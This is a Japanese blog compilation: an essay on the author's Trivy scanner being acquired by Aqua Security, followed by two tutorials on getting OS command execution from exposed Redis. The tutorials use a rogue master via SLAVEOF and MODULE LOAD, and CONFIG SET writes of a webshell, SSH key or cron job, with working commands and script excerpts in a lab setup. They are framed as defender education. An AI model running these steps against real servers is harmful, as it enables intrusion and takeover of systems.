それで、趣味なのに何をモチベーションにわざわざ公開するの?というところですが、やはり多くの人に使ってもらえると嬉しいです。そして何より全く知らない海外の人が自分のプログラム修正を手伝ってくれたりすると本当に嬉しいです。会ったこともない海外の人たちと何かを一緒に作っていくという体験ができる職業はとても少ないと思います。自分はこの職業以外思いつかないです。しかも、やたらと感謝されます。「君の作ったプログラムは僕のプログラマー人生を変えたよ」とか「本当に素晴らしいOSSだ。心より君を尊敬する。」といった事を平気で言われます。これだけでやってて良かったと思いますし、世の中の役に立っている実感を得られます。何か日常で辛いことがあっても、「でも自分見知らぬ土地の見知らぬ人々にリスペクトされてるから良いか」みたいな気持ちになれます。

Trivyについて

自分が趣味で作ったOSSの中の一つにTrivyというものがあります。少し技術的な話になりますが、これはコンテナの脆弱性スキャナです。自分が作る前から似たソフトウェアは複数存在していたのですが、既存のものはどうしても使いにくいし精度も改善できる余地があるし、ということで作り始めました。

今年のGWは10日間の大型連休だったわけですが、この連休中に作り切るという目標でGW初日から作り始めました。実際には構想は大分前からあったのですが、真面目に作り始めたのはGWになってからです。結局10日間ずっとプログラムを書き続けました。もちろん友人と少し遊んだりはしましたが、寝る時間も勿体なかったのでモンスターエナジー買ってきて夜な夜な頑張ったりしました。妻からもこいつ正気か?みたいなプレッシャーを受けたりもしましたが、どうしても作りたかったので「GWはどこも混んでるし別の日に出かけたほうが」みたいなことを言って説得しました。理解のある妻に感謝です。

10日間で当初目標としていた機能は実装し終わったのですが、作っている途中にさらに改善できるポイントみたいなのが次々と見つかってしまい、最終的にはGW終わってから1週間ぐらい実装を続けました。

そのリポジトリが以下です。

GitHub - aquasecurity/trivy: A Simple and Comprehensive Vulnerability Scanner for Containers, Suitable for CI

今アクセスするとaquasecurity/trivyに転送されます。これは元々自分のリポジトリだったのですが、Aqua Security社に買われたために転送されるようになっています。この話は後ほどします。

そんなこんなで作り終わって公開したのですが、割と反響が大きく色んな国の言語でブログ書かれるぐらいまで広まりました。

日本で有名なブログを運営していらっしゃるクラスメソッドさんや

dev.classmethod.jp

セキュリティ企業の英語によるブログや

www.prodefence.org

企業によるセキュリティツール(雑に言えばセキュリティソフトウェアとほとんど同じ意味)の一覧まとめや sysdig.com

中国語や

www.freebuf.com

フランス語や

t.co

トルコ語など

medium.com

他にも色々なところで紹介して頂いています。

一つ注意なのですが、良いものを作っても使い方が全く分からなければ使って貰えません。なので、真面目に使ってもらいたいと思ったら使い方をきちんと書くことが重要です。日本人向けなら日本語で良いですが、海外の人にも使ってもらいたければ英語で書くことをおすすめします。自分はGoogle翻訳で雑な英語を書きましたが、それでも何とかなっています。

ソフトウェアの説明書のことをREADMEと言ったりするのですが、READMEが分かりやすいという反応を貰えたのは地味に嬉しかったです。

また、Trivyは既存のツールを精度で倒すことを一つの目標としていたので、頑張って比較してグラフも載せたりしました。こんなことをしたら既存ツールの開発者達に怒られるかもしれない...とビクビクしていましたが、批判しているわけでもなく純粋に結果の比較だし良いかと思い最終的には乗せることにしました。

f:id:knqyf263:20190819140458p:plain
精度比較

ちなみにあとで聞いたら脆弱性なんだけど明らかに影響が小さくノイズとなるものは意図的に出していない、といった思想や影響があるかどうかは分からないけど万が一影響がある場合は被害が大きそうだから誤検知になるかもしれないが出している、などポリシーによる違いもあるということだったので一旦グラフは削除しました。

Trivyを使って新たにサービスを作る人も出てくるほどになり、頑張って良かったなーとなって自分の中では一段落していました。

www.kennasecurity.com

譲渡のオファー

一段落したので睡眠不足を解消すべく毎日寝るだけの生活をしていました。

すると、そこにAqua Security社(Aqua Security Software Ltd.)のCTOから突然メールが来ます。件名は「Trivyについて」。Aqua Securityというのはアメリカとイスラエルに本社を持つセキュリティ企業で、自分が比較表の中に入れたツールを作った会社だったのでこんなものを載せるんじゃない!!と怒られると思ってビクビクしていました。内容を見ると、Trivyについて話がしたい、とのこと。絶対キレられるやつじゃん...訴訟とかになったら辛い...無視しようかな...でも無視すると裁判で不利になりそうだし...と恐る恐る返信をしました。そして次に返ってきたメールを見て驚きました。

「お前の作ったTrivyは素晴らしい。特にここの実装とあそこの実装は面白かった。自分達の作るソフトウェアにも活かせそうだ。ありがとう。もっと細かく話したいから電話しないか?」

という内容。かなり驚きました。普通作ったものの結果が微妙といった内容を書かれたらまずキレるところだと思うのですが、キレるどころか褒められた挙げ句感謝されました。凄い価値観を持った人達だなととても驚きましたし、まずキレるだろうっていう自分の価値観が恥ずかしくなりました。良いものは素直に取り込んでいくという考えを持っているから開発も早いのかもなどと考えました。そもそも国による価値観の違いかもしれないのですが、自分もそう考えられる人間になりたいと思いました。

そういうわけで突然CTOと電話することになります。自分の英語力(特にリスニング)は全国大学生平均を下回っているので、電話でボディランゲージなしにまともに会話できるのか?!と不安でしたが、日常会話はさっぱりでも技術的な話だと知ってる単語が多く話す内容も予想がつくからか意外と何とかなりました。聞き取れないところはチャットに書いてもらえば良いです。

そうして実装の詳細説明などを何とか乗り切ったのですが、電話の最後にさらに驚く話をされます。それは、「TrivyをAqua Securityとして買いたい」という提案でした。OSSソースコードが公開されていて誰でも使えるので買いたいってどういうこと?!と最初は混乱しましたが、TrivyのリポジトリをAqua Securityの下に移し、Aquaとしてメンテナンスして行きたいということのようでした。そしてそのためにお金も払うということでした。また、買収と同時に自分を社員として雇うので仕事としてメンテナンスを続けないか?という申し出も受けます。しかもそのチームはOSS開発専門チームなので他にも好きなOSSを作って良いという話でした。趣味で作っていたソフトウェアが企業に買われるなどということは夢にも思っていなかったので困惑しました。その場で決められるものでもなかったので考えさせて欲しいということで一旦電話を切りました。

譲渡について

譲渡するかどうかはとても悩みました。やはり自分の作ったOSSというのは大なり小なり自分の子供みたいに感じている部分があります。それが別のところに行ってしまうのは寂しさもありますし、寝ずに頑張ったGWとかを思い出すと切なくなってやっぱりやめるか...みたいな気持ちになりました。本当は個人で頑張って作ったのに企業のものとなると、今から新たに知る人は完成度高くて当たり前みたいに感じるだろうしそれも何か嫌だなみたいな器の小さい事も思ったりしていました。そしてそのまま過ごしていたのですが、ここでOSSに関する難しい問題に直面します。

個人開発の持続性について

OSSはIssueと言って利用者が改善要望を出すことが可能です。「こんな機能が欲しい」とか「この環境だとうまく動きません」とかそういうやつです。最初は使われてる実感があって嬉しいため頑張って直していくのですが、これは実は段々辛くなってきます。まず趣味のOSSの場合はお金を貰っているわけでもありません。単に休日等の空いた時間に無償でやっているだけです。自分で楽しくてやっているうちは苦にならないのですが、他人に言われてやらないといけない状況になると途端に辛くなってきます。最初に書きましたが、休日は他にもやりたいことがあります。結婚しているので妻と出かけたりするのも大事ですし、休日なので休むことも大事です。ですが、Issueが多数来ると別のことをしていても気になるようになってきます。特に、「動かないので困っています」みたいなIssueが来ると急いで直さざるを得ません。あくまで趣味なのでスルー、と割り切ることも出来るのですが、多くの人に使われるようになると責任も感じてきて割り切るのは難しかったりします(もちろん人によってはバッサリ無視できるメンタルの人もいますし、そういう人は向いてると思います)。

自分が多くの人に使ってもらえるOSSを作ったのはこれが最初ではないのですが、過去の時にも同じ問題に直面していました。チームを組んでやっていれば良いですが、完全に自分のリポジトリともなるとそういうわけにも行きません。

譲渡の決断

このように個人による趣味のOSSというのは持続性の問題を抱えています。最初は楽しくて気力が持つので頑張れますが、義務になると辛くなります。とは書いたものの、それでも自分は割り切って楽しくやれている方ですが、趣味としてやるよりも企業が面倒見てくれたほうが持続性の面では良いなと考え始めます。趣味なので疲れたら終わり、ということで本当は良いですし引き継ぎたい人が勝手にコピーして引き継げるというのもOSSの良いところではあるのですが、せっかく欲しがってくれている企業があるのだから一緒にやるというのは悪くない選択肢だという結論に至ります。

何より自分が好きでやっていたことを仕事として引き続きやって良いと言われ、他にもOSS開発を仕事としてやって良いというのは自分にとっては天職に感じました。まだまだ作りたいものがたくさんあるので、譲渡は別としてもそのチームに入れること自体が本当に魅力に感じました。ですがそんなにうまい話はないというのは過去に経験していたので最初は乗り気じゃなくスルー気味でしたが、話しているうちに本当に良いツールだと考えてくれているし、それを作った自分に是非参加して欲しいという強い意志を感じました。

どのぐらい強い意志だったかと言うと、交渉のために日本人通訳を即座に用意してくれるぐらいです。いやお前英語頑張れよという話はありますが、契約の細かい話とか出来るほどの英語力はありませんし、勢いで押し切られるのを恐れて交渉が進まないぐらいならきちんと意思疎通して進めたいというAqua側の厚意だったと思います。

また、海外の就労ビザを出してくれて日本人が0の場所で働かせてもらえるというのも良い経験になるだろうと思いました。オフィスがある場所ならどこで働いても良いと言ってくれたのでセキュリティがホットなイスラエルを選びました。クビになってもその時はその時で日本に戻ればどこかで働けるだろうみたいな楽観的な考えもありました。この辺りの経緯はまた別で書きます。

などなど色々なことを総合して考えた結果、最終的に譲渡することに決めました。最初に書きましたが受け取ったお金はそこまで大きい金額ではないです。とはいえ数年働いて貰えるぐらいの金額ではあるので小遣いとしては十分すぎる金額です。

ちなみに金額交渉で下手に出ても良くないので大きい金額を伝えてみたのですが、「OSSは既にソースコードが公開されており技術を独占できるものではないので独占販売などは出来ない。これは誠意だと思って欲しい。」と言われました。確かにOSSなのに買うってどういうこと?!と最初思っていたので納得しました。冷静に考えればソースコードが公開されているのでパクろうと思えばいくらでもパクれるのに、わざわざ遠い島国の人間に連絡してお金を払って譲渡して欲しいというのは会社としての誠実さをとても感じました。もちろんもっと闘うことも出来たのですが、誠意だなと思ったので合意しました。きちんと特許などを取っていれば金額はもっと上げられたはずなので、真面目にお金を狙いに行く人は特許取っておくべきです。一度OSSにしてしまうと公知になるので難しくなるらしいです。その辺りはきちんと戦略を練らないとダメですね。

契約について

今後似たような状況になる人がいるかも知れないので少しアドバイスになりますが、条件面などの書類は弁護士にレビューしてもらったほうが良いです。特に訴えられうるリスクは減らすべきです。個人でやっているOSSだと特許侵害していたりライセンス違反したりしていることもあり得ます。そうなった場合に後で賠償みたいな文言が入っていると厳しいです。もちろんそうならないように最大限気をつけていますが、法律や特許のプロではないので厳密に問題ないと言い切るのは難しいです。その辺りはきちんと「自分の知りうる限り〜」などの文言を盛り込んでもらうと良いです。

今後について

Trivyは引き続きOSSとして開発を続けます。既にいくつか面白いアイディアを貰っていたりもするので、これからどんどん足していきます。他にもCNCFと距離が近くなったので新しいものも作っていきます。もっとも、何が起こるかわからないのですぐクビになるかもしれないし未来のことは不明です。

まとめ

ソフトウェアエンジニアという仕事は場所に囚われないので、今回のように海外から突然面白い話が降ってくることもあります。ただ何もしなくても降ってくるということはないので、せっかく何か作ったりしたら成果として見える形にしておくのがオススメです。価値観は人それぞれなので、必ず何か見える形にしなくてはならないということはないです。気が向いたらぐらいの軽さで良いと思います。

人生何があるか分からないです。この業界は動きが早いので数カ月後には自分を取り巻く環境も何もかも変わっているかもしれませんが、変化を楽しんでいきたいと思います。

おわり

RedisからOSコマンドを実行する攻撃方法(SLAVEOF編)

はじめに

前回の記事で、誤ってインターネットに開放されたRedisを操作してOSコマンド実行するまでの攻撃方法を説明しました。

knqyf263.hatenablog.com

こちらの方法ではCONFIG SETを使っていたのですが、最近コンテナが利用されることが増えたために刺さりにくくなっています。また、Redisの実行ユーザの権限が強い必要があったり、ドキュメントルートのpathを予測する必要があったりといった制約もありました。そういった制約を回避する方法が発表されていたので試してみました。

さらに、前回はRedisが完全に操作できる前提を置いていましたが今回は更に難しくSSRFのみが使える状況が想定されています。SSRFについては調べたら出ると思うので割愛しますが、今回の場合は簡単に言うと「Redisは公開されていないが、公開されているWebサーバなど経由で攻撃者が内部のRedisにコマンドを発行できる状態」です。

要約

SSRFなど間接的であっても攻撃者がRedisに対してコマンド実行可能な状況であれば、OSの任意コマンド実行に繋げられる可能性がとても高いです(2019/07/13現在)。

この攻撃方法ではRedis Moduleを使うため、Redisの4.0以上じゃないと成立しないと思われます。

簡単に言うとOSコマンドが実行できるようなカスタムコマンドを作り、攻撃対象のRedisサーバにそのカスタムコマンドをロードさせることでOSコマンドを実行させます。カスタムコマンドをロードするためには.soファイルを最初に攻撃対象のサーバに送り込む必要がありますが、これはレプリケーションの仕組みを上手く使って送り込んでいます。詳細は後述。

先に自分の分かっている範囲で攻撃に必要な条件をまとめます。

  • Redisに対して任意のコマンドを発行可能(間接的でも可)
  • Redisの動いているサーバのOSやアーキテクチャが予測可能(.soファイルをロードさせるため)
  • Redisサーバから外部に通信可能
  • Redisが4.0以上

恐らくこれだけなのでハードルは低いと考えています。ちなみに今回はRedis ClusterやSentinelは使わずに通常のReplication方式で利用されている場合を想定しています。ですが、Cluster/Sentinelでも攻撃可能であることが発表資料内では触れられているため(少し手順は増えますが)、安全というわけではありません。

そして念の為書いておきますが、当然悪用厳禁です。この攻撃方法は既に公開されている方法で攻撃者は知っている可能性が高いです。そのためセキュリティエンジニアもきちんと原理を理解して正しい事前対策・事後対応が出来る状態になっておく必要があります。

参考

自分でちゃんと読みたい方は上の発表者のスライドを見ると良いです。

環境

簡単に試せるように例によって環境を用意しました

github.com

準備としてdocker-composeのbuildとupは行っておいて下さい。

$ docker-compose build
$ docker-compose up -d

docker-composeなので、コンテナ内ではredis, rogueというホスト名で各コンテナにアクセス可能です。redisはやられサーバでrogueは攻撃者の用意したサーバという想定です。検証なので今回は直接Redisにコマンド発行という形にしています。SSRFなどでも出来ることは同じです。

また、何故かたまにコンテナ死ぬことあるのですが、その場合は↑で再起動するなどして下さい。

詳細

基本的な仕組み

Redisに対して任意のコマンドが打てる状態なので、SLAVEOFコマンドを発行することが出来ます。これを打つとそのRedisはslaveになります。今回の方法では攻撃者側でmasterサーバを用意し、攻撃したいRedisサーバを用意したmasterサーバに対して接続させます。つまり攻撃対象のRedisサーバはslaveになります。まずこの部分が重要です。自分はそこを理解するのに少し時間がかかりました。

次に、Redisのレプリケーションについて学びます。以下の翻訳が分かりやすかったです。

redis-documentasion-japanese.readthedocs.io

上のページの抜粋です。

スレーブがセットアップされたら、スレーブは接続を通じて SYNC コマンドを送ります。初回の接続でも再接続でも同じです。

マスターはバックグラウンド・セーブを開始し、また、以降に受信する、データ・セットを変更するすべてのコマンドのバッファを始めます。バックグラウンド・セーブが完了したら、マスターはデータベースファイルをスレーブに転送し、スレーブはそれをディスクに保存、およびメモリへロードします。その後、マスターはすべてのバッファされたコマンドをスレーブに送信します。これはコマンドのストリームとして実現されていて、Redis プロトコルそのものと同じフォーマットをもちます。

これを見ると、現時点でmasterが持っているデータをファイルとして転送し、それ以降に実行されたコマンドはバッファしておいてslaveに送信するようです。そしてどうやらそのコマンドは単純にslaveで実行されそうです。

自分でも試せると書いてあるのでtelnetで繋いでSYNCを送ってみます。まずredisコンテナに入ります。

$ docker-compose exec redis sh

telnetが入っていないのでインストールします。

/data # apk add busybox-extras

この状態でtelnetを繋ぎ、自分でSYNCを打ってみます。

/data # telnet localhost 6379
SYNC
$175
REDIS0009       redis-ver5.0.1
redis-bits@ctime¹)used-memxrepl-stream-dbrepl-id(9a5ee5f6b004dcb75ae870eee9e79a9f601048d5
                                                                                         repl-offset
                                                                                                    aof-preambleczu*1

何かそれっぽいファイルが返ってきました。これは上の説明でいうデータベースファイルになります。RDBフォーマットというらしいです(Redis Databaseの略?)。正しくslaveとして機能していれば、このデータをディスクに保存してメモリにロードします。

また、この状態で少し放置しているとPINGが飛んできます。

*1
$4
PING

masterがslaveの死活監視のために行っていると思われます。

では、別ウィンドウでredisコンテナに入って適当にkey/valueを保存してみます。

$ docker-compose exec redis sh
/data # redis-cli
127.0.0.1:6379> set foo bar
OK

そうすると先程のtelnetの方の画面で以下のような表示が出ていると思います(PINGと混ざっていたら見にくいと思いますが)。

*2
$6
SELECT
$1
0
*3
$3
set
$3
foo
$3
bar

このプロトコルはかなりシンプルです。最初の*のあとの数字はコマンドの引数の数を示しています。つまり最初は2です。次に$のあとの数字はその後のコマンドの長さを意味しています。$6なのはSELECTが6文字だからです。こうして見ていくと、上の文字列は2つに分けられます。

*2
$6
SELECT
$1
0

これは2つの引数でコマンドが構成されていることを意味するため SELECT 0 というコマンドになります。単にデータベース0を指定しているだけです。

次は

*3
$3
set
$3
foo
$3
bar

ですが、これも単に set foo bar としているだけです。単に上で打ったコマンドと同じことが分かります。slaveとして機能している場合は、このコマンドがslave上で実行されます。

SYNCの仕組みは単純なことが分かりました。実際にはもっと細かい処理を色々しているとは思いますが、メインは上の処理だと思います。また、SYNCだとレプリケーションの接続が途切れた後フル同期ですが、PSYNCは途中から再開可能です。

SlaveにRedisのコマンドを実行させる

上で説明したとおり、masterから送られてきたコマンドはslaveで実行されます。そのため、攻撃者がmasterを用意することで簡単に攻撃したいRedisでコマンドが実行可能です。今回はSSRFなどで元々Redisに対してコマンド発行可能なのであまり意味はないですが、試してみます。

ステップは発表資料にあるとおりですが、以下です。

  1. 攻撃対象のRedisに対して SLAVEOF を発行して、攻撃者の用意したmasterに繋がせる
  2. slaveからPINGが来たら +PONG を返す
  3. slaveからREPLCONFが来たら +OK を返す
  4. slaveからPSYNC or SYNCが来たら +CONTINUE <replid> 0 を返す
  5. コマンドを送るためにストリームは開きっぱなしになるので実行させたいコマンドを送る

これを実装したのがrogue.pyです。Redisのmasterサーバのように振る舞いつつ、最後のコマンド部分でkeyをsetしています(fooにbarbazをセットしている)。特に以下の部分を見ると分かるかと思います。

        if "PING" in data:
            resp = "+PONG" + CLRF
            phase = 1
        elif "REPLCONF" in data:
            resp = "+OK" + CLRF
            phase = 2
        elif "PSYNC" in data or "SYNC" in data:
            resp = "+CONTINUE 0 0" + CLRF
            resp = resp.encode()

            resp += self.payload("SET", "foo", "barbaz")
            phase = 3

https://github.com/knqyf263/redis-rogue-server/blob/master/rogue.py#L40-L51

ちなみに元々RCEを実行可能にするコードは既に公開されていたため、それを基に勉強用に変えたのが上記です。シンプルなプロトコルなので、試行錯誤しながらでしたがコードは30分ぐらいで書くことが出来ました。一度勉強で書いても面白いかもしれません。

GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE

では試してみます。まず攻撃者側のrogueコンテナに入ってrogue.pyを6380番ポートで起動します(lportの指定)。

$ docker-compose exec rogue sh
/rogue/redis-rogue-server # python3 rogue.py --lport 6380
SERVER 0.0.0.0:6380

次に攻撃対象のRedisに入ります。今回は勉強のために自分でSLAVEOFを実行してみます(本当はSSRF経由などで攻撃者が実行する)。

$ docker-compose exec redis sh
/data # redis-cli
127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> slaveof rogue 6380
127.0.0.1:6379> get foo
"barbaz"

最初はkeyが何もないのに、slaveofを打った後はfooが保存されています。pythonスクリプトで簡単にmasterのように振る舞いslaveにデータを保存できたということです。

SlaveにRedisのコマンドを実行させて結果を得る

今回はSSRFでRedisコマンドを打っている想定のためRedis内のデータを取得するのも簡単ではありません。上の方法でmasterからslaveに大してコマンドを打てるようになったため、getを打てばRedis内の全データを取得できるように見えます。

ですが、それは出来ません。

prepareClientToWriteというclientに対してデータを返すかどうか判別する関数があるのですが、以下のようにclientがmasterの場合にはデータを返さない処理が入っています。

int prepareClientToWrite(client *c) {

    ...

    /* Masters don't receive replies, unless CLIENT_MASTER_FORCE_REPLY flag
     * is set. */
    if ((c->flags & CLIENT_MASTER) &&
        !(c->flags & CLIENT_MASTER_FORCE_REPLY)) return C_ERR;

https://github.com/antirez/redis/blob/3f1c84751a7e665c8831475cd23be1e93285d032/src/networking.c#L225-L228

つまりmasterからslaveにSYNCのストリーム内でコマンドを発行しても結果は得られないということです。そこでどうするか発表者は考え、その上の行でOKを返す処理を見つけました。

int prepareClientToWrite(client *c) {
    /* If it's the Lua client we always return ok without installing any
     * handler since there is no socket at all. */
    if (c->flags & (CLIENT_LUA|CLIENT_MODULE)) return C_OK;

CLIENT_LUAはRedisのデバッグモードであれば有効になるらしいです。Luaデバッグのために使えるみたいですが、全く知りませんでした。

SCRIPT DEBUG – Redis

あとはストリーム内でデバッグを有効にしてあげれば結果が取得可能です。上の手順に続けて以下のような手順を行うと可能です。

  1. SCRIPT DEBUG YES をslaveに送る
  2. EVAL redis.breakpoint() 0 をslaveに送る
  3. 好きなコマンドを実行させて結果を得る

これを実装したのがrogue2.pyです。以下の辺りを見れば大体分かると思います。

        elif "PSYNC" in data or "SYNC" in data:
            resp = "+CONTINUE 0 0" + CLRF
            resp = resp.encode()

            resp += self.payload("SCRIPT", "DEBUG", "YES")
            resp += self.payload("EVAL", "redis.breakpoint()", "0")
            phase = 3
        elif "breakpoint" in data:
            resp = self.payload("r", "keys", "*")
            phase = 4

https://github.com/knqyf263/redis-rogue-server/blob/master/rogue2.py#L46-L55

ということで試してみます。

$ docker-compose exec rogue sh 
/rogue/redis-rogue-server # python3 rogue2.py --lport 6381
SERVER 0.0.0.0:6381

この状態で先程同様redisコンテナに入って slaveof rogue 6381を打ちます。

[->] ['*1', '$4', 'PING']
[<-] ['+PONG']
[->] ['*3', '$8', 'REPLCONF', '$14', 'listening-port', '$4', '6379']
[<-] ['+OK']
[->] ['*5', '$8', 'REPLCONF', '$4', 'capa', '$3', 'eof', '$4', 'capa', '$6', 'psync2']
[<-] ['+OK']
[->] ['*3', '$5', 'PSYNC', '$40', '2a43a6ba59e5e143171c24520ee3f9771bb542cc', '$1', '1']
[<-] ['+CONTINUE 0 0', '*3', '$6', 'SCRIPT', '$5', 'DEBUG', '$3', 'YES', '*3', '$4', 'EVAL', '$18', 'redis.breakpoint()', '$1', '0']
[->] ['*2', '+* Stopped at 1, stop reason = step over', '+-> 1   redis.breakpoint()']
[<-] ['*3', '$1', 'r', '$4', 'keys', '$1', '*']
[->] ['*2', '+<redis> keys *', '+<reply> ["foo"]']
[<-] ['']

すると無事replyが返ってきて、keyのfooが見えていることが分かります。

これでようやくSSRFでもRedis内のデータが抜けるようになりました。

OSコマンド実行

Redisから抜けてOSコマンドの実行を目指します。前の記事のようにCONFIG SETでやっても良いですが、不確実な部分もありますしコンテナではそもそも成立しない可能性があります。今回の方法ではそういった状況でも攻撃可能です。

ちなみにコンテナの場合のOSコマンド実行というのはコンテナ内のOSの話であって、コンテナをエスケープしてホスト側で実行可能ということではありません。それはまた別の脆弱性を組み合わせないと無理だと思います。

では攻撃の詳細に移ります。この方法では前述の2つとは異なりSYNC後のコマンドをメインの攻撃ターゲットとはしません。先程のレプリケーションの説明を見てみると重要なことが書いてありました。

マスターはデータベースファイルをスレーブに転送し、スレーブはそれをディスクに保存、およびメモリへロードします

先程telnetで試したように、masterから転送されたファイルがそのままslaveのディスクにファイルとして保存されます。

redisコンテナで正規のslaveofを試してみます。rogueサーバでもRedisは動かしているので普通にrogueの6379に繋ぎます。

$ docker-compose exec redis sh
/data # redis-cli
127.0.0.1:6379> slaveof rogue 6379
OK
127.0.0.1:6379> exit
/data # ls
dump.rdb
/data # cat dump.rdb
REDIS0009       redis-ver5.0.1
redis-bits@ctime)used-memhrepl-stream-dbrepl-id(65d2c3eccdf9c9ed2beea6763ac35d4c1bbc3e92
                                                                                        repl-offset
                                                                                                   aof-preamble?V/

上を見ると分かるように、dump.rdbというファイル名で保存されていることが分かります。中身もtelnetした時に見たデータと同じなので、masterから送られてきたデータそのままのようです。

ということは実はmasterからslaveに好きなファイルを書き込めるということです。このdump.rdbはCONFIG SETでファイル名やファイルパスを変更可能なので、好きな場所に好きな内容で書き込めます。以前のCONFIG SETとSAVEを使った方法では改行をうまく使って認識させていましたが、そんな方法を使わずとも気前よく完全なファイルを送り込めます。

しかし、ただ送り込むだけではやはりWebshellやcronなどの方法になってしまいます。そこで発表者が目をつけたのがRedis Moduleです。.soファイルを読み込むことでカスタムコマンドなどが使えるようになります。

redis.io

このドキュメントにもあるように、Redis起動後でもMODULEコマンドを使ってロード可能です。

MODULE LOAD /path/to/mymodule.so

つまり、.soファイルを送り込んでLOADさせれば攻撃者の好きなカスタムコマンドを定義させることが出来ます。そのカスタムコマンドは引数を受け取ってOSコマンドを実行するようなものにしておけばOSコマンドが実行できそうです。

調べたところ既にそういうものを作っている人がいました。

github.com

これをビルドして.soファイルにして送り込んだ後にLOADさせればOSコマンド実行可能です。そのための攻撃コードも既に公開されていました。

github.com

手順は以下です。

  1. exp.soを攻撃対象のRedisサーバのOSやアーキテクチャに合わせて事前にビルドしておく
  2. SLAVEOFを発行してmasterに繋がせる
  3. CONFIG SET dbfilename exp.so をslaveで発行させてデータベースファイルのファイル名を変更する
  4. 一度master/slaveのコネクションを張り直し、再度SYNC/PSYNCをslaveに発行させる
  5. +FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload> の形式でexp.soの中身をmasterからデータベースファイルとしてslaveに返す(exp.soにpayloadが保存される)
  6. MODULE LOAD ./exp.so をslaveで発行させモジュールをロードする
  7. system.exec "id" などのコマンドをRedisで発行させOSコマンドを実行する

繰り返しになりますがまとめておきます。masterからデータベースファイルとして.soファイルを返すとslaveに保存される。その.soファイルはOSコマンドを実行するような実装にしておく。MODULE LOAD を使って.soファイルをロードする。OSコマンド実行可能になる。という手順です。

あまり言葉で説明されても分からないかもしれないので、上のDockerイメージを使って試してみると良いと思います。Dockerfileを見れば手順も分かると思います。rogue3.pyを実行するだけで攻撃できるようにしてあります。

$ docker-compose rogue exec sh
/rogue/redis-rogue-server # python3 redis-rogue-server.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo

redisコンテナの方を見るとfooファイルが作成されています。

$ docker-compose redis exec sh
/data # ls /tmp
foo

rogue3.pyファイルは短いので、何をしているのかを見るのも良いと思います。

まとめ

Redisのコマンド実行をOSコマンド実行まで昇華させる方法が発表されていたので紹介しました。Redisの脆弱性というわけでもないので、単に被害にあった時に影響範囲がRedisに閉じない可能性が高いという話になります。動作原理が理解できれば、うちのシステムの設定なら大丈夫、などの判断がつくようになります。一度試してみるのがオススメです。

RedisからOSコマンドを実行する攻撃方法(CONFIG SET編)

概要

Redisを間違ってインターネットに開放してしまっていた場合に、認証がなければ好きなRedisコマンドを実行されてしまいます。この場合に最大どの程度の被害になるのか、というのがセキュリティ界隈の人にも意外と知られていなかったので書いておきます。

Redisの実行ユーザによりますがrootなどで動いていて、他にいくつか緩い条件を満たせばOSの任意コマンドが実行可能です。

これは昔からある方法で有名なので攻撃する側からすると当然知っていて、侵入したら必ずと言っていいほど行うと思います。そのため、防御する側も知っておく必要があります。もしRedisの設定を間違ってanyから通信可能だった場合にホスト側にも侵入されたかも、というところを考慮できると良いと思って今回の記事は書いています。

自衛のためにも書いておきますが、悪用は禁止です。あくまで正しく脅威を把握するための啓蒙です。

参考

http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html

PoC

動かしてみたい人は以下で。

GitHub - knqyf263/redis-exploitation: CONFIG SET

詳細

RedisにはKey/Valueをファイルとして書き出す機能があります。さらに、書き出し先はRedisコマンドで変更可能なので実は任意の場所にデータを書き出すことが出来ます。

Redisに入ってCONFIG GETコマンドを叩くと現在のファイルパスが分かります。

$ redis-cli
127.0.0.1:6379> config get dir
1) "dir"
2) "/"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

これを自分の書き出したい場所に変更し、Valueに書き込みたい内容を書いておけば好きなファイルに好きな内容を書き込めるという話です。

Webshell

Redisのサーバ内でWebサーバとPHPが動いている場合は、 /var/www/html の下にPHPを書き込めばよいです。

つまり以下のような方法です。

127.0.0.1:6379> config set dir /var/www/html/
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set test "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> save
OK

今回はphpinfo()を出しているだけですが、GETのパラメータを受け取ってOSコマンドとして実行するなどのPHPを書けばWebshellとして利用可能です。ただし、Redisの実行ユーザが /var/www/html に書き込み権限を持っている必要があります。

また、このようにしてファイルに書き出すとRedisのバージョンだったりkeyだったりも入るため、目的のvalueの前後にゴミが入ります。

[root@34aa23154b29 /]# cat /var/www/html/redis.php
REDIS0007       redis-ver3.2.12
redis-bits@ctime'used-meme
                          test<?php phpinfo(); ?>(FاH

ですが、PHPは<?php ... ?>の部分を解釈するためゴミが入っていても問題なく動きます。このようにゴミが入っていても動くケースであれば今回の方法で攻撃可能です。ゴミを排除するのは恐らく不可能なため、この条件は重要です。

満たすべき条件は3つです。

  1. Webサーバが動いている
  2. WebサーバへのpublicディレクトリにRedis実行ユーザが書き込み権限を持っている
  3. ドキュメントルートのpathが予測できる(/var/www/htmlなど)

この条件を満たせればWebshellを置いておくことで外部からOSコマンドを実行可能になります。

SSH

実はSSHの公開鍵を置いておく ~/.ssh/authorized_keys も行単位で読み取るため、改行さえ前後に入れておけばゴミが入っていても動きます。

127.0.0.1:6379> set ssh "\n\nssh-rsa AAAAB3NzaC1yc...\n\n"
OK
127.0.0.1::6379> config set dir /home/knqyf263/.ssh/
OK
127.0.0.1::6379> config set dbfilename "authorized_keys"
OK
127.0.0.1::6379> save
OK

このような感じです。これもRedis実行ユーザが書き込み権限を持っておりsshdが動いていれば成立します。ネットワーク経路で何かしらの制限がされておりSSH出来ない場合などはもちろん影響を受けないです。

Crontab

最後はcrontabを使った方法です。/var/spool/cron/ の下にcronの設定を書き込んで自動でコマンドを実行させます。

[root@34ea33cb2eb2 /]# ls /var/spool/cron/
[root@34ea33cb2eb2 /]# redis-cli
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set payload "\n*/1 * * * * /bin/touch /tmp/foo\n"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
[root@34ea33cb2eb2 /]# cat /var/spool/cron/root
REDIS0007       redis-ver3.2.12
redis-bits@ctime]&used-meme
                           payload!
*/1 * * * * /bin/touch /tmp/foo
5

